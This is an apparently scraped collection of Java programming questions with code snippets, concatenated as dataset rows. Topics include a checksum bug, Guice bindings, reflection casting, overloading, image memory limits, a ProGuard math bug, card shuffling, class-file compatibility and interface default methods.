definitions for f ( n1 , n2 ) , g ( n ) and the operator X : f ( n1 , n2 ) = g ( n ) = operator X : I assumed mod is the same thing as % in my code , I was not sure if there was another mod operation I am not familiar with.My StructureThis is how I decided I wanted to solve the problem : Convert the base-10 number into int [ 8 ] Put each digit of the int [ 8 ] through f ( n , dn ) Use the X operator to then combine them all together.My CodeHere are my algorithm functions . I can comment them if they are confusing somewhere , but they really follow the algorithm listed above exactly.Now , here is my main ( String args [ ] ) code : Note : You can assume the functions parseBase10 , and toArray are functioning properly . I have checked them with the input / output examples in the problem.Want to compile it yourself ? Here is my full ( unedited ) code : Here is the input I am giving my problem : 6 WYYXWVZXX YWYWYYXWVZYY YWYWYYXWVZYX YYZWYYXWVZYX YXXWYYXWVZXW XYXWYYXWXYYHere is what I get : Where you see the *0* 's is where I am supposed to be getting 0 , but I am getting a different value . Where is my checksum algorithm messing up ? Reading all of that feel free to ask for clarification on any part of my code .","checksum = F ( 0 , d0 ) X F ( 1 , d1 ) X F ( 2 , d2 ) ... checksum = F ( n , dn ) X F ( n+1 , dn ) ... where n is the index of the digit /* * This will return the checksum of the id . * Formula : F ( 0 , d0 ) X F ( 1 , d1 ) ... * * F ( n , dn ) where n is the current index . * X ! = * ( multiply ) ! ! X is a defined operator */public static int getChecksum ( int [ ] id ) { int result = 0 ; for ( int x = 0 ; x < id.length ; x++ ) { if ( x == 0 ) result = fOfxd ( x , id [ x ] ) ; else { result = opX ( result , fOfxd ( x , id [ x ] ) ) ; } } return result ; } public static int gOfx ( int x ) { return GOFX [ x ] ; } public static int fOfxd ( int x , int d ) { switch ( x ) { case 0 : return d ; case 1 : return gOfx ( d ) ; default : return fOfxd ( x - 1 , gOfx ( d ) ) ; } } public static int opX ( int num1 , int num2 ) { if ( num1 < 5 & & num2 < 5 ) return ( num1 + num2 ) % 5 ; if ( num1 < 5 & & num2 > = 5 ) return ( num1 + ( num2 - 5 ) ) % 5 + 5 ; if ( num1 > = 5 & & num2 < 5 ) return ( ( num1 - 5 ) - num2 ) % 5 + 5 ; return ( num1 - num2 ) % 5 ; } public static final int [ ] GOFX = { 1 , 5 , 7 , 6 , 2 , 8 , 3 , 0 , 9 , 4 } ; public static void main ( String args [ ] ) { BufferedReader reader = new BufferedReader ( new InputStreamReader ( System.in ) ) ; while ( true ) { int ids = 0 ; // how many ids are we checking ? try { ids = Integer.parseInt ( reader.readLine ( ) ) ; // get user input String [ ] list = new String [ ids ] ; // will hold all of the ids for ( int x = 0 ; x < list.length ; x++ ) list [ x ] = reader.readLine ( ) ; // reads all of the ids we will be checking for ( int x = 0 ; x < list.length ; x++ ) // lets check the ids individually now { String stringID = list [ x ] ; // the string representation of the id int base10 = parseBase10 ( stringID ) ; int [ ] id = toArray ( base10 ) ; int checksum = getChecksum ( id ) ; System.out.println ( stringID ) ; System.out.println ( base10 ) ; System.out.println ( Arrays.toString ( id ) ) ; System.out.println ( checksum ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; } break ; } } import java.io.BufferedReader ; import java.io.InputStreamReader ; import java.util.Arrays ; public class Main { public static void main ( String args [ ] ) { BufferedReader reader = new BufferedReader ( new InputStreamReader ( System.in ) ) ; while ( true ) { int ids = 0 ; // how many ids are we checking ? try { ids = Integer.parseInt ( reader.readLine ( ) ) ; // get user input String [ ] list = new String [ ids ] ; // will hold all of the ids for ( int x = 0 ; x < list.length ; x++ ) list [ x ] = reader.readLine ( ) ; // reads all of the ids we will be checking for ( int x = 0 ; x < list.length ; x++ ) // lets check the ids individually now { String stringID = list [ x ] ; // the string representation of the id int base10 = parseBase10 ( stringID ) ; int [ ] id = toArray ( base10 ) ; int checksum = getChecksum ( id ) ; System.out.println ( stringID ) ; System.out.println ( base10 ) ; System.out.println ( Arrays.toString ( id ) ) ; System.out.println ( checksum ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; } break ; } } /* * This will return the checksum of the id . * Formula : F ( 0 , d0 ) X F ( 1 , d1 ) ... * * F ( n , dn ) where n is the current index . * X ! = * ( multiply ) ! ! X is a defined operator */ public static int getChecksum ( int [ ] id ) { int result = 0 ; for ( int x = 0 ; x < id.length ; x++ ) { if ( x == 0 ) result = fOfxd ( x , id [ x ] ) ; else { result = opX ( result , fOfxd ( x , id [ x ] ) ) ; } } return result ; } public static int gOfx ( int x ) { return GOFX [ x ] ; } public static int fOfxd ( int x , int d ) { switch ( x ) { case 0 : return d ; case 1 : return gOfx ( d ) ; default : return fOfxd ( x - 1 , gOfx ( d ) ) ; } } public static int opX ( int num1 , int num2 ) { if ( num1 < 5 & & num2 < 5 ) return ( num1 + num2 ) % 5 ; if ( num1 < 5 & & num2 > = 5 ) return ( num1 + ( num2 - 5 ) ) % 5 + 5 ; if ( num1 > = 5 & & num2 < 5 ) return ( ( num1 - 5 ) - num2 ) % 5 + 5 ; return ( num1 - num2 ) % 5 ; } /* * This will convert a number to an array equivalent of that number * The result will be 8 digites long with leading 0 's if possible . * * EX : * 12345 = { 0 , 0 , 1 , 2 , 3 , 4 , 5 , 6 } */ public static int [ ] toArray ( int value ) { int result [ ] = new int [ 8 ] ; for ( int x = result.length - 1 ; x > = 0 ; x -- ) { result [ x ] = value % 10 ; value /= 10 ; } return result ; } /* * converts a String sequence and converts it to a base 10 equivalent . * Z = 0 , Y = 1 , X = 2 , W = 3 , V = 4 * * EX : * YY = 11 ( base-5 ) = 6 ( base-10 ) */ public static int parseBase10 ( String string ) throws Exception { int multiplier = 1 ; int result = 0 ; // in base 10 for ( int x = string.length ( ) - 1 ; x > = 0 ; x -- ) { char letter = string.charAt ( x ) ; // the letter we are parsing int value = -1 ; // initial value , set to -1 to check for parsing error for ( int y = 0 ; y < VALUES.length ; y++ ) if ( letter == VALUES [ y ] ) value = y ; // letter found in VALUES [ ] if ( value == -1 ) throw new Exception ( `` Could not parse : `` + letter ) ; // the specified letter was not found result += ( multiplier * value ) ; /* ^^ this moves the value to the correct digit place by using a multiplier : * EX : * * current result : 45 ( base-10 ) * new value to parse : 2 ( base-5 ) * 45 ( base-10 ) + ( 2 ( base-5 ) * 25 ( base-10 ) ) = 245 < -- correct output */ multiplier *= 5 ; // sets up multiplier for next value } return result ; } public static final char [ ] VALUES = { ' Z ' , ' Y ' , ' X ' , ' W ' , ' V ' } ; public static final int [ ] GOFX = { 1 , 5 , 7 , 6 , 2 , 8 , 3 , 0 , 9 , 4 } ; } WYYXWVZXX1274262 [ 0 , 1 , 2 , 7 , 4 , 2 , 6 , 2 ] 2 *0*YWYWYYXWVZYY81352381 [ 8 , 1 , 3 , 5 , 2 , 3 , 8 , 1 ] 0YWYWYYXWVZYX81352382 [ 8 , 1 , 3 , 5 , 2 , 3 , 8 , 2 ] 4YYZWYYXWVZYX59868007 [ 5 , 9 , 8 , 6 , 8 , 0 , 0 , 7 ] 0YXXWYYXWVZXW73539888 [ 7 , 3 , 5 , 3 , 9 , 8 , 8 , 8 ] 5 *0*XYXWYYXWXYY22520431 [ 2 , 2 , 5 , 2 , 0 , 4 , 3 , 1 ] 3 *0*",What is wrong with my checksum algorithm ? +Java,"According to the ThrowingProvider documentation of Guice I have the following interface : I have multiple classes that implements this interface , let assume I have the following : Of course this class implements the necessary method : In my module , I have the following code in MyModule.javaBut when I start my application the following error produced : I do n't really know where should I start looking for the bug.Update : It provides the same error even if I set the scope as well :","public interface IConfigurableProvider < T > extends ThrowingProvider < T , ConfigException > { } public class SomethingProvider extends ConfiguredProvider implements IConfigurableProvider < Something > { } public Something get ( ) throws ConfigException { /* ... */ } ThrowingProviderBinder.create ( binder ( ) ) .bind ( IConfigurableProvider.class , Something.class ) .to ( SomethingProvider.class ) ; 6 ) No implementation for com.package.Something was bound . while locating com.package.Something for parameter 5 at com.package.OtherClass. < init > ( OtherClass.java:78 ) at com.package.MyModule.configure ( MyModule.java:106 ) ThrowingProviderBinder.create ( binder ( ) ) .bind ( IConfigurableProvider.class , Something.class ) .to ( SomethingProvider.class ) .in ( Singleton.class ) ;",Guice ThrowingProvider problem +Java,"Suppose there is the following code : The code works as expected in both cases with the following exception , found in primitives : The first call works as expected but the second call throws java.lang.ClassCastException.Is this a corner case in which autoboxing was disregarded ? Or is it impossible to provide autoboxing in this case , of reflection casting ? Or is there something else causing this inconsistency ? Edit : calling this code works as expected :","@ SuppressWarnings ( `` unchecked '' ) public static < T > T implicitCaster ( Class < T > cls , Object o ) { return ( T ) o ; } public static < T > T reflectionCaster ( Class < T > cls , Object o ) { return cls.cast ( o ) ; } public static void main ( String [ ] args ) { System.out.println ( implicitCaster ( int.class , 42 ) ) ; System.out.println ( reflectionCaster ( int.class , 42 ) ) ; } public static void main ( String [ ] args ) { System.out.println ( implicitCaster ( Integer.class , 42 ) ) ; System.out.println ( reflectionCaster ( Integer.class , 42 ) ) ; }",Why does implicit casting work while reflection casting throws exception ? +Java,"I am not understanding the concept of dynamic binding and overriding properly : Here is some code : I expected : Actual : If the object is of type ChocolateCake and I call cc which is also ChocolateCake , how come the compiler shows it 's getting Cake as a parameter ?",class Cake { public void taste ( Cake c ) { System.out.println ( `` In taste of Cake class '' ) ; } } class ChocolateCake extends Cake { public void taste ( Cake c ) { System.out.println ( `` In taste ( Cake version ) of ChocolateCake class '' ) ; } public void taste ( ChocolateCake cc ) { System.out.println ( `` In taste ( ChocolateCake version ) of ChocolateCake class '' ) ; } } public static void main ( String [ ] args ) { ChocolateCake cc = new ChocolateCake ( ) ; Cake c = new ChocolateCake ( ) ; Cake c1 = new Cake ( ) ; Cake c2 = new ChocolateCake ( ) ; c1.taste ( cc ) ; c1.taste ( c ) ; c2.taste ( cc ) ; c2.taste ( c ) ; } In taste of Cake classIn taste of Cake classIn taste ( ChocolateCake version ) of ChocolateCake class '' < -- -- In taste ( Cake version ) of ChocolateCake class In taste of Cake classIn taste of Cake classIn taste ( Cake version ) of ChocolateCake class < -- -- In taste ( Cake version ) of ChocolateCake class,Unclear about dynamic binding +Java,"The following Java code is throwing a compiler error : checkGameTitle is a public static function , returning a boolean . The errors are all of the type `` can not find symbol '' with the symbols being variable ArrayList , variable String and variable items.However , if I add { curly braces } then the code compiles with no errors . Why might this be ? Is there some ambiguity on the if clause without them ?","if ( checkGameTitle ( currGame ) ) ArrayList < String > items = parseColumns ( tRows.get ( rowOffset+1 ) , currGame , time , method ) ;",Odd compiler error on if-clause without braces +Java,"I 'm the author of a certain open-source library . One of the public interfaces has methods which use raw types like Collection , for instance : I get Collection is a raw type . References to generic type Collection < E > should be parameterized warnings.I 'm thinking about fixing these warnings . Implementations actually do n't care about the types of the elements in collections . So I was thinking about replacing Collection < ? > .However , these methods are parts of public interface of my library . Client code may call these methods or provide own implementations of these public interfaces thus implementing these methods . I am afraid that changing Collection to Collection < ? > will break client code . So here is my question.If I change Collection - > Collection < ? > in my public interfaces , may this lead to : compilation errors in the client code ? runtime errors in the already compiled existing client code ?","public StringBuilder append ( ... , Collection value ) ;",Is it backwards-compatible to replace raw type like Collection with wildcard like Collection < ? > ? +Java,"SummaryI am reading a large binary file which contains image data.Cumulative Count Cut analysis is performed on data [ It requires another array with same size as the image ] .The data is stretched between 0 to 255 stored in BufferedImage pixel by pixel , to draw the image on JPanel.On this image , zooming is performed using AffineTransform.ProblemsSmall Image ( < .5GB ) 1.1 When I am increasing the scale factor for performing zooming , after a point exception is thrown : - java.lang.OutOfMemoryError : Java heap space.Below is the code used for zooming-Large Image ( > 1.5GB ) While loading a huge image ( > 1.5GB ) , same exception occurs as appeared in 1.1 , even is the image is small enough to be loaded , sometimes , I get the same error.Solutions TriedI tried using BigBufferedImage in place of BufferedImage to store the stretched data . BigBufferedImage image = BigBufferedImage.create ( newCol , newRow , BufferedImage.TYPE_INT_ARGB ) ; But it could n't be passed to g2d.drawImage ( image , 0 , 0 , this ) ; because the repaint method of JPanel just stops for some reason.I tried loading image in low resolution where pixel is read and few columns and rows are jumped/skipped . But the problem is how to decide what number of pixels to skip as image size varies therefore I am unable to decide how to decide the jump parameter.The problem is to decide how many column and row to skip i.e what value of jump should be set.I tried setting Xmx but image size varies and we can not dynamically set the Xmx values.Here are some values -For this I tried finding memory allocated to program : -Following results were obtainedMemory AllocationThis approach failed because the available memory increases as per usage of my code . As a result it will not be useful for me to make a decision for jump.Result ExpectedA way to access the amount of available memory before the loading of the image so that I could use it to make decision on value of the jump . Is there any other alternative to decide jump value ( i.e. , how much I can lower the resolution ? ) .","scaled = new BufferedImage ( width , height , BufferedImage.TYPE_BYTE_GRAY ) ; Graphics2D g2d = ( Graphics2D ) scaled.createGraphics ( ) ; AffineTransform transformer = new AffineTransform ( ) ; transformer.scale ( scaleFactor , scaleFactor ) ; g2d.setTransform ( transformer ) ; MappedByteBuffer buffer = inChannel.map ( FileChannel.MapMode.READ_ONLY,0 , inChannel.size ( ) ) ; buffer.order ( ByteOrder.LITTLE_ENDIAN ) ; FloatBuffer floatBuffer = buffer.asFloatBuffer ( ) ; for ( int i=0 , k=0 ; i < nrow ; i=i+jump ) /*jump is the value to be skipped , nrow is height of image*/ { for ( int j=0 , l=0 ; j < ncol1 ; j=j+jump ) //ncol is width of image { index= ( i*ncol ) +j ; oneDimArray [ ( k*ncolLessRes ) +l ] = floatBuffer.get ( index ) ; //oneDimArray is initialised to size of Low Resolution image . l++ ; } k++ ; } table , th , td { border : 1px solid black ; } < table style= '' width:100 % '' > < tr > < th > Image Size < /th > < th > Xmx < /th > < th > Xms < /th > < th > Problem < /th > < /tr > < tr > < td > 83Mb < /td > < td > 512m < /td > < td > 256m < /td > < td > working < /td > < /tr > < tr > < td > 83Mb < /td > < td > 3096m < /td > < td > 2048m < /td > < td > System hanged < /td > < /tr > < tr > < td > 3.84Gb < /td > < td > 512m < /td > < td > 256m < /td > < td > java.lang.OutOfMemoryError : Java heap space < /tr > < tr > < td > 3.84Gb < /td > < td > 3096m < /td > < td > 512m < /td > < td > java.lang.OutOfMemoryError : Java heap space < /tr > < /table > try ( BufferedWriter bw= new BufferedWriter ( new FileWriter ( dtaFile , true ) ) ) { Runtime runtime=Runtime.getRuntime ( ) ; runtime.gc ( ) ; double oneMB=Math.pow ( 2,20 ) ; long [ ] arr= Instream.range ( 0 , ( int ) ( 10.432*long.BYTES*Math.pow ( 2,20 ) ) ) .asLongStream ( ) .toArray ( ) ; runtime.gc ( ) ; long freeMemory= runtime.freeMemory ( ) ; long totalMemory= runtime.totalMemory ( ) ; long usedMemory= totalMemory-freeMemory ; long maxMemory= runtime.maxMemory ( ) ; String fileLine= String.format ( `` % 9.3f % 9.3f % 9.3f `` , usedMemory/oneMb , freeMemory/oneMB , totalMemory/oneMb , maxMemory/oneMB ) ; bw.write ( ) ; }",How to handle huge data/images in RAM in Java ? +Java,"I have met a pretty strange bug . The following small piece of code uses a rather simple math.Edit Using ProGuard can make it go wrong on some devices . I have it confirmed on HTC One S Android 4.1.1 build 3.16.401.8 , but judging by e-mails I got , a lot of phones with Android 4+ are affected . For some of them ( Galaxy S3 ) , american operator-branded phones are affected , while international versions are not . Many phones are not affected . Below is the code of activity which calculates C ( n , k ) for 1 < =n < 25 and 0 < =k < =n . On device mentioned above the first session gives correct results , but the subsequent launches show incorrect results , each time in different positions.I have 3 questions : How can it be ? Even if ProGuard made something wrong , calculations should be consistent between devices and sessions.How can we avoid it ? I know substituting double by long is fine in this case , but it is not a universal method . Dropping using double or releasing not-obfuscated versions is out of question.What Android versions are affected ? I was quite quick with fixing it in the game , so I just know that many players have seen it , and at least the most had Android 4.0Overflow is out of question , because sometimes I see mistake in calculating C ( 3,3 ) =3/1*2/2*1/3 . Usually incorrect numbers start somewhere in C ( 10 , ... ) , and look like a phone has `` forgotten '' to make some divisions.My SDK tools are 22.3 ( the latest ) , and I have seen it in builds created by both Eclipse and IntelliJ IDEA.Activity code : main.xml : Example of wrong calculation results ( remember , it 's different every time I try it )","protected double C_n_k ( int n , int k ) { if ( k < 0 || k > n ) return 0 ; double s=1 ; for ( int i=1 ; i < =k ; i++ ) s=s* ( n+1-i ) /i ; return s ; } package com.karmangames.mathtest ; import android.app.Activity ; import android.os.Bundle ; import android.text.method.ScrollingMovementMethod ; import android.widget.TextView ; public class MathTestActivity extends Activity { /** * Called when the activity is first created . */ @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.main ) ; String s= '' '' ; for ( int n=0 ; n < =25 ; n++ ) for ( int k=0 ; k < =n ; k++ ) { double v=C_n_k_double ( n , k ) ; s+= '' C ( `` +n+ '' , '' +k+ '' ) = '' +v+ ( v==C_n_k_long ( n , k ) ? `` '' : `` Correct is `` +C_n_k_long ( n , k ) ) + '' \n '' ; if ( k==n ) s+= '' \n '' ; } System.out.println ( s ) ; ( ( TextView ) findViewById ( R.id.text ) ) .setText ( s ) ; ( ( TextView ) findViewById ( R.id.text ) ) .setMovementMethod ( new ScrollingMovementMethod ( ) ) ; } protected double C_n_k_double ( int n , int k ) { if ( k < 0 || k > n ) return 0 ; //C_n^k double s=1 ; for ( int i=1 ; i < =k ; i++ ) s=s* ( n+1-i ) /i ; return s ; } protected double C_n_k_long ( int n , int k ) { if ( k < 0 || k > n ) return 0 ; //C_n^k long s=1 ; for ( int i=1 ; i < =k ; i++ ) s=s* ( n+1-i ) /i ; return ( double ) s ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : orientation= '' vertical '' android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '' > < TextView android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : id= '' @ +id/text '' android : text= '' Hello World ! '' / > < /LinearLayout > C ( 0,0 ) =1.0C ( 1,0 ) =1.0C ( 1,1 ) =1.0C ( 2,0 ) =1.0C ( 2,1 ) =2.0C ( 2,2 ) =1.0C ( 3,0 ) =1.0C ( 3,1 ) =3.0C ( 3,2 ) =3.0C ( 3,3 ) =1.0C ( 4,0 ) =1.0C ( 4,1 ) =4.0C ( 4,2 ) =6.0C ( 4,3 ) =4.0C ( 4,4 ) =1.0C ( 5,0 ) =1.0C ( 5,1 ) =5.0C ( 5,2 ) =10.0C ( 5,3 ) =10.0C ( 5,4 ) =30.0 Correct is 5.0C ( 5,5 ) =1.0C ( 6,0 ) =1.0C ( 6,1 ) =6.0C ( 6,2 ) =15.0C ( 6,3 ) =40.0 Correct is 20.0C ( 6,4 ) =90.0 Correct is 15.0C ( 6,5 ) =144.0 Correct is 6.0C ( 6,6 ) =120.0 Correct is 1.0C ( 7,0 ) =1.0C ( 7,1 ) =7.0C ( 7,2 ) =21.0C ( 7,3 ) =35.0C ( 7,4 ) =105.0 Correct is 35.0C ( 7,5 ) =504.0 Correct is 21.0C ( 7,6 ) =840.0 Correct is 7.0C ( 7,7 ) =720.0 Correct is 1.0C ( 8,0 ) =1.0C ( 8,1 ) =8.0C ( 8,2 ) =28.0C ( 8,3 ) =112.0 Correct is 56.0C ( 8,4 ) =70.0C ( 8,5 ) =1344.0 Correct is 56.0C ( 8,6 ) =3360.0 Correct is 28.0C ( 8,7 ) =5760.0 Correct is 8.0C ( 8,8 ) =5040.0 Correct is 1.0C ( 9,0 ) =1.0C ( 9,1 ) =9.0C ( 9,2 ) =36.0C ( 9,3 ) =168.0 Correct is 84.0C ( 9,4 ) =756.0 Correct is 126.0C ( 9,5 ) =3024.0 Correct is 126.0C ( 9,6 ) =10080.0 Correct is 84.0C ( 9,7 ) =25920.0 Correct is 36.0C ( 9,8 ) =45360.0 Correct is 9.0C ( 9,9 ) =40320.0 Correct is 1.0C ( 10,0 ) =1.0C ( 10,1 ) =10.0C ( 10,2 ) =45.0C ( 10,3 ) =120.0C ( 10,4 ) =210.0C ( 10,5 ) =252.0C ( 10,6 ) =25200.0 Correct is 210.0C ( 10,7 ) =120.0C ( 10,8 ) =315.0 Correct is 45.0C ( 10,9 ) =16800.0 Correct is 10.0C ( 10,10 ) =1.0",ProGuard can cause incorrect calculations +Java,"I 'm writing a code for a deck of cards which shuffles the deck of cards . I tested the code but I do n't really know if it 's actually doing what it 's supposed to be doing correctly ? What do you think ? This is the code for the shuffle method : My output seems shuffled in its numbers but not by the name of the card like spades hearts etc , For example this is my output when I test the code : Like there 's always repeated names . is it wrong since the point of shuffling is to mix it up ? This is the actual question : When playing cards , it is , of course , important to shuffle the deck , that is , toarrange things so that the cards will be dealt in a random order . There areseveral ways to achieve this . One strategy involves repeatedly picking a cardat random out of the deck and moving it to the end . The following code usesthe Random class ( which you met on page 8 of the “ ArrayLists ” section of theonline course ) to perform one such “ pick and move to the end ” operation : To shuffle the deck effectively , this operation should be repeated many times ( say , 500 times ) . Create a new instance method , shuffle , for the Deck classthat uses a single Random object and a for loop to shuffle myDeck . Aftersuitably modifying the main method , use it to test your new code.So my main question is : am I doing this wrong ?",public void shuffle ( ) { for ( int x = myDeck.size ( ) ; x > 0 ; x -- ) { Random rn = new Random ( ) ; int index1 = rn.nextInt ( 52 ) ; Card c = myDeck.remove ( index1 ) ; myDeck.add ( c ) ; } } Deuce of spadesSeven of spadesEight of spadesAce of spadesThree of heartsFive of heartsSix of heartsSeven of heartsNine of heartsTen of heartsQueen of heartsKing of heartsAce of heartsSeven of diamondsEight of diamondsJack of diamondsKing of diamondsThree of clubsSeven of clubsNine of clubsJack of clubsQueen of clubsKing of clubsAce of clubsQueen of spadesDeuce of clubsThree of spadesNine of diamondsFour of spadesFour of clubsDeuce of heartsJack of spadesTen of clubsSix of diamondsJack of heartsSix of clubsFour of diamondsFive of diamondsAce of diamondsFour of heartsNine of spadesTen of spadesFive of spadesThree of diamondsSix of spadesFive of clubsDeuce of diamondsEight of heartsKing of spadesTen of diamondsEight of clubsQueen of diamonds Random rn = new Random ( ) ; int index1 = rn.nextInt ( 52 ) ; Card c = myDeck.remove ( index1 ) ; myDeck.add ( c ) ;,Is my method working effectively ? +Java,"I came across an old set of classes dated March 1997 . It was during the time when I tried to learn Java , and it was JDK 1.0.2Interestingly enough , I have both the source files and the class files intact from that time . The sources still compiles and executes as expected , which was really cool . But was n't Java supposed to retain binary compatibility as well ? Well , somewhere along the way , the format no longer holds valid.A Java 8 VM will report ; The offending class is the superclass of the class that I call from command line.One more detail , in those days , Microsoft was still in the Java camp , and I remember that their javac was more compliant against badly written syntax . The Sun compiler would gladly accept `` public synchronized class Abc '' and many other invalid statements . So , there is a big chance that these class files were generated by the MS compiler , and was then run on Sun JVM.Anyway , my question is ; Is there anyone around who has knowledge about the compatibility commitment in the early versions of Java ? Was it a big deal , or was it sacrificed on purpose ? Or was there a decision much later , say Java 1.4 or Java 5 to simply drop JDK 1.0 support ? ?",Exception in thread `` main '' java.lang.ClassFormatError : Invalid start_pc 65535 in LocalVariableTable in class file bali/core/Application at java.lang.ClassLoader.defineClass1 ( Native Method ) at java.lang.ClassLoader.defineClass ( ClassLoader.java:760 ) at java.security.SecureClassLoader.defineClass ( SecureClassLoader.java:142 ) at java.net.URLClassLoader.defineClass ( URLClassLoader.java:455 ) at java.net.URLClassLoader.access $ 100 ( URLClassLoader.java:73 ) : [ snip many ClassLoader calls ] : at java.lang.ClassLoader.loadClass ( ClassLoader.java:357 ) at sun.launcher.LauncherHelper.checkAndLoadMain ( LauncherHelper.java:495 ),What happened to Java Binary Compatibility ? +Java,"Before anything , let me first clarify that the below thoughts are purely my personal opinions and due to my limited knowledge . I have no intention whatsoever to say that C++ is not cool . I 've been programming C++ for like a year and I think it really has some cool features . Nevertheless , I feel a bit empty and disappointed as I did n't really learn any `` mind-changing '' things from C++ , from the standpoint of a person who happens to have previously learned Java ( as the 1st language ) . According to the many posts I 've read , people prefer C++ as it 's faster . To a programmer like me who have n't programmed time-critical applications before , I 've yet to have a chance to appreciate this . So far , what I 've learned seems to me are all about syntaxes . This is how we write a class in Java , and here 's how to write it in C++ . This is how to do inheritance in Java and that 's how to do in C++ and so on . ( I know , multiple inheritance is cool , but to me , not a mind-changing thing . I think what 's cool is to be able to answer why Java didn't/could n't support multiple inheritance , which is supposed to be more general than single inheritance ) . Somehow to me , all are just syntaxes and my mind has n't seemed to grow after coding C++ , so far . I think my problem it to write C++ programs with a `` Java-mind '' . What I really want is , as many persons suggest , to change my ways of thinking after learning a new language . I 've yet to get to that with my C++ . I can also write a couple of small Python programs . However , I feel afraid to learn more about it as to me , again , it would be just learning a new syntax , a new way of doing things that are just different , without knowing the reasons . I plan to learn C to really get to know things . I think it would be a quite `` involving '' language . Let me know what you think and please give me some advice . PS : Btw , there is one specific question in C++ I want to confirm . In C++ , writing in the following way is not efficient , if I 'm correct : Instead , write it as : as in the first way , the returned values are copied ( when we assign b = compute ... ) and introduce some inefficiencies ? ( In Java , I guess the 1st way is clear in meaning and okay in efficiency as it passes things by reference )",private A computeAndReturnA ( ) { ... } private void computeAndReturnA ( A & a ) { ... },C++ from a Java-view : I must have missed a few things +Java,( This is a follow up question to Why is this exception is not printed ? Why is it showing an error ? ) Here in the below code why is the ArithmeticException not triggered ? Instead the output is : What happens ?,"class Exp { public static void main ( String args [ ] ) { float d , a=1 ; try { d=0 ; a=44/d ; //no exception triggered here.. why ? System.out.print ( `` It 's not gon na print : a= '' +a ) ; } catch ( ArithmeticException e ) { System.out.println ( `` Print exception : `` +e ) ; } } } It 's not gon na print : a=Infinity",Why is the exception not triggered for division by zero here ? +Java,"I 'm trying to convert a simple Haskell datatype and a function to OO . But I 'm confused.. Have the following Haskell type for arithmetic calculation : Now I 'm trying to convert.. This will result in `` ( 2+3 ) '' , it 's correct answer . But.. I 'm not sure.. is this the right way to think about it and model it in OO ? Is't a good representation of the Haskell datatype ?","data Expr = Lit Int | Add Expr Expr | deriving Show -- Turn the expr to a nice stringshowExpr : : Expr - > String showExpr ( Lit n ) = show nshowExpr ( Add e1 e2 ) = `` ( `` ++ showExpr e1 ++ `` + '' ++ showExpr e2 ++ `` ) '' public interface Expr { String showExpr ( String n ) ; } // Base casepublic class Lit implements Expr { String n ; public Lit ( String n ) { this.n = n ; } @ Override public String ShowExpr ( ) { return n ; } } public class Add implements Expr { Expr a ; Expr b ; public Add ( Expr aExpr , Expr bExpr ) { this.a = aExpr ; this.b = bExpr ; } public String ShowExpr ( ) { return `` ( `` + a.ShowExpr ( ) + `` + '' + b.ShowExpr ( ) + `` ) '' ; } public static void main ( String [ ] args ) { Lit firstLit = new Lit ( `` 2 '' ) ; Lit secLit = new Lit ( `` 3 '' ) ; Add add = new Add ( firstLit , secLit ) ; System.out.println ( add.ShowExpr ( ) ) ; } }",Haskell datatype to Java ( OO ) +Java,"In Scala/Java ( ~ on the JVM ) , there are some smaller cases where behavior is different like : In which languages is the gap between compile time and run time is bigger and are there reasons from a language design POV why this could be a `` good thing '' ? Going towards the other direction : Is there a ( statically typed ) language without any differences between compile time and run time types ?",/* `` Dynamic '' cast */ '' '' .getClass.cast ( `` Foo '' ) //res0 : Any = Foo/* `` Static '' cast */classOf [ String ] .cast ( `` Foo '' ) //res1 : String = Foo/* `` Compile time cast '' */ '' Foo '' .asInstanceOf [ String ] res2 : String = Foo,Which reasons exist for differences between compile time types and run time types ? +Java,"IntroductionI have read multiple posts about implementing interfaces and abstract classes here on SO . I have found one in particular that I would like to link here - Link - Interface with default methods vs abstract class , it covers the same question . As the accepted answer , it is recommended to use the default methods of interfaces when it is possible to do this . But the comment below this answer stating `` this feature feels more like a hack to me '' explains my problem.Default methods have been introduced to make implementations of interfaces more flexible - when an interface is changed it is not necessarily required in the implementing classes to ( re ) write code . Therefore , using a default method of an interface just to realize a method in all implementing classes - quote : `` feels more like a hack to me '' . Example for my examination : Classes overview : Item - Abstract Superclass of all ItemsWater - Item which is consumableStone - Item which is not consumableConsumable - Interface with some methods for consumable items ( those methods have to be overriden by all implementing classes ) Combining those : Water is an Item and implements Consumable ; Stone is also an Item and does not implement Consumable . My examinationI would like to implement a method which all Items have to implement . Therefore , I declare the signature in the class Item . Quick edit : I am aware that instanceof might solve this particular example - if possible think of a more complicated example that makes it necessary to implement the method in the first place . ( Thanks to Sp00m and Eugene ) Now I have several options : Implement the method by hand in every single subclass of Item ( this is definitely not possible when scaling the application ) . As mentioned above when scaling the application this would be impractical or highly inefficient . Implementing the method inside of the interface as a default method so the Consumable classes already implement the method which is required by the superclass Item . This is the solution recommended by the other post - I see the advantages of implementing it in this way : Quote - `` The good thing about this new feature is that , where before you were forced to use an abstract class for the convenience methods , thus constraining the implementor to single inheritance , now you can have a really clean design with just the interface and a minimum of implementation effort forced on the programmer . '' LinkBut in my opinion , it still seems contradictory to the original idea of default methods which I mentioned in my introduction . Furthermore , when scaling the application and introducing more methods that share the same implementation for all Consumables ( as the example method isConsumable ( ) ) , the interface would implement several default methods which contradicts the idea of an interface not implementing the actual method . Introducing sub-superclasses instead of an interface - for example the class Consumable as an abstract subclass of Item and superclass of Water . It offers the opportunity to write the default case for a method in Item ( example : isConsumable ( ) //return false ) and afterwards override this in the sub-superclass . The problem that occurs here : When scaling the application and introducing more sub-superclasses ( as the Consumable class ) , the actual Items would start to extend more than one sub-superclass . It might not be a bad thing because it is necessary to do the same with interfaces too but it makes the inheritance tree complicated - Example : An item might now extend a subsuperclass ALayer2 which is a sub-superclass of ALayer1 which extends Item ( layer0 ) . Introducing another superclass ( thus same layer as Item ) - for example the class Consumable as an abstract class which will be another superclass of Water . That means that Water would have to extend Item & Consumable This option offers flexibility . It is possible to create a whole new inheritance tree for the new superclass while still being able to see the actual inheritance of Item . But the downside I discovered is the implementation of this structure in the actual classes and using those later on - Example : How would I be able to say : A Consumable is an Item when Consumable would be able to have subclasses that are not meant for Items . The whole converting process will possibly cause a headache - more likely than the structure of Option 3.QuestionWhat would be the right option to implement this structure ? Is it one of my listed options ? Is it a variation of those ? Or is it another option I have not thought about , yet ? I have chosen a 